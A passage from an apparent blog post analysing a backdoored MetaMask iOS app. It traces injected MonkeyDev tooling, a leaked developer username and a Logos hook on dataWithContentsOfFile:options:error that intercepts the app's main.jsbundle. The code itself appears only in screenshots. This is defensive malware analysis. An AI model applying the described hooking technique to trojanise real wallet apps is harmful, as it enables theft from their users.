15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Reveal Framework installed on the backdoored metamask ios app</figcaption></figure></div><p>Full path to Xcode Derived data was left on the compiled .dylib leaking a macOS username &#8220;lanyu&#8221;</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4zrn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4zrn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png 424w, https://substackcdn.com/image/fetch/$s_!4zrn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png 848w, https://substackcdn.com/image/fetch/$s_!4zrn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png 1272w, https://substackcdn.com/image/fetch/$s_!4zrn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4zrn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png" width="1000" height="174" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:174,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4zrn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png 424w, https://substackcdn.com/image/fetch/$s_!4zrn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png 848w, https://substackcdn.com/image/fetch/$s_!4zrn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png 1272w, https://substackcdn.com/image/fetch/$s_!4zrn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034bd02e-5fa5-4419-b84b-5980e3d3f818_1000x174.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>I&#8217;ve found multiple references to MonkeyDev Framework which is a hooking &amp; modding utility written by <a href="https://github.com/AloneMonkey">AloneMonkey</a>. MonkeyDev has custom Xcode templates <a href="https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates">https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates</a> which make it fully integrated to Xcode during the development cycle of these backdoors!</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bD1m!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bD1m!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png 424w, https://substackcdn.com/image/fetch/$s_!bD1m!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png 848w, https://substackcdn.com/image/fetch/$s_!bD1m!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png 1272w, https://substackcdn.com/image/fetch/$s_!bD1m!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bD1m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png" width="1000" height="718" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cb86b605-6236-452b-b89a-caae405ac408_1000x718.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:718,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bD1m!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png 424w, https://substackcdn.com/image/fetch/$s_!bD1m!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png 848w, https://substackcdn.com/image/fetch/$s_!bD1m!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png 1272w, https://substackcdn.com/image/fetch/$s_!bD1m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb86b605-6236-452b-b89a-caae405ac408_1000x718.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">MonkeyDev xcode template</figcaption></figure></div><p>At this point, there are multiple tools for hooking or modding but still no sign of <strong>startupload()</strong> and its implementation.</p><h4>A Backdoor inside a Backdoor</h4><p>After several checks identifying where a backdoor code could be injected I started looking at the injected libraries, and ran the usual <strong>class-dump</strong> on the <strong>libmetaDylib.dylib </strong>revealed a weird class name <strong>FKKKSDFDFFADS</strong>, highlighted below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DFVd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DFVd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png 424w, https://substackcdn.com/image/fetch/$s_!DFVd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png 848w, https://substackcdn.com/image/fetch/$s_!DFVd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png 1272w, https://substackcdn.com/image/fetch/$s_!DFVd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DFVd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png" width="1000" height="747" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:747,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DFVd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png 424w, https://substackcdn.com/image/fetch/$s_!DFVd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png 848w, https://substackcdn.com/image/fetch/$s_!DFVd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png 1272w, https://substackcdn.com/image/fetch/$s_!DFVd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc74cb487-6d34-4b7a-926b-aa8db11df9d9_1000x747.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">highlighted weird looking class name</figcaption></figure></div><blockquote><p>OCMethodTrace is reference to the OCMethodTrace tool written by Michael Chen aka <a href="https://github.com/omxcodec">omxcodec</a> , enabling tracing of objective-C classes/methods. OCMethodTrace is also part of MonkeyDev xcode templates: <a href="https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates/blob/master/MonkeyAppLibrary.xctemplate/Trace/OCMethodTrace.h">https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates/blob/master/MonkeyAppLibrary.xctemplate/Trace/OCMethodTrace.h</a></p></blockquote><p>Cross-referencing the class name <strong>FKKKSDFDFFADS </strong>I got a solid hit on a Logos tweak installed by the backdoor author, targeting the function <strong>dataWithContentsOfFile</strong>:<strong>options</strong>:<strong>error </strong>the tweek was installed via <strong><a href="http://www.cydiasubstrate.com/api/c/MSHookMessageEx/">MSHookMessageEx</a>()</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ep8D!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ep8D!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png 424w, https://substackcdn.com/image/fetch/$s_!ep8D!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png 848w, https://substackcdn.com/image/fetch/$s_!ep8D!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png 1272w, https://substackcdn.com/image/fetch/$s_!ep8D!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ep8D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png" width="1000" height="220" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:220,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ep8D!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png 424w, https://substackcdn.com/image/fetch/$s_!ep8D!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png 848w, https://substackcdn.com/image/fetch/$s_!ep8D!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png 1272w, https://substackcdn.com/image/fetch/$s_!ep8D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b09e793-84f0-4688-9785-03c2c158a2d3_1000x220.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">tweek defined in _logosLocalInit() function</figcaption></figure></div><blockquote><p>Logos is a Perl regex-based preprocessor that simplifies the boilerplate code needed to create hooks for Objective-C methods and C functions with an elegant Objective-C-like syntax. It&#8217;s most commonly used along with the <a href="https://theos.dev/docs/">Theos</a> build system, which was originally developed to create jailbreak tweaks</p></blockquote><p>At this point a malicious <strong>dataWithContentsOfFile</strong>:<strong>options</strong>:<strong>error </strong>implemented by the author will get called right before the original one. The malicious <strong>dataWithContentsOfFile</strong>:<strong>options</strong>:<strong>error </strong>contains the following code:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!S94a!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!S94a!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png 424w, https://substackcdn.com/image/fetch/$s_!S94a!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png 848w, https://substackcdn.com/image/fetch/$s_!S94a!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png 1272w, https://substackcdn.com/image/fetch/$s_!S94a!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!S94a!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png" width="1000" height="948" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:948,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!S94a!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png 424w, https://substackcdn.com/image/fetch/$s_!S94a!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png 848w, https://substackcdn.com/image/fetch/$s_!S94a!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png 1272w, https://substackcdn.com/image/fetch/$s_!S94a!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F116acf97-1f63-4601-bc03-b8d9d2b7dcde_1000x948.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">backdoor code called</figcaption></figure></div><p>at line 39 there&#8217;s a clear call to our weird class <strong>FKKKSDFDFFADS :)</strong></p><p>at line 29 there&#8217;s also a test checking a variable <strong>path </strong>against the string <strong>/meta.app/main.jsbundle.</strong></p><p>It seems this function <strong>dataWithContentsOfFile</strong>:<strong>options</strong>:<strong>error </strong>is expecting a .jsbundle file to read from and return its content, but let&#8217;s take a step back and figure out why the author hooked the call of <strong>dataWithContentsOfFile</strong>:<strong>options</strong>:<strong>error </strong>it must be for a specific reason.</p><p>Going back to the initial Mach-O MetaMask there&#8217;s a reference to <strong>dataWithContentsOfFile</strong>:<strong>options</strong>:<strong>error </strong>at the function 0x1001339cc:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Xw7B!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Xw7B!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png 424w, https://substackcdn.com/image/fetch/$s_!Xw7B!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png 848w, https://substackcdn.com/image/fetch/$s_!Xw7B!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png 1272w, https://substackcdn.com/image/fetch/$s_!Xw7B!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Xw7B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png" width="1000" height="697" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:697,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Xw7B!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png 424w, https://substackcdn.com/image/fetch/$s_!Xw7B!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png 848w, https://substackcdn.com/image/fetch/$s_!Xw7B!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png 1272w, https://substackcdn.com/image/fetch/$s_!Xw7B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcedcb425-c5ac-4dba-adf1-201abf22c914_1000x697.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" 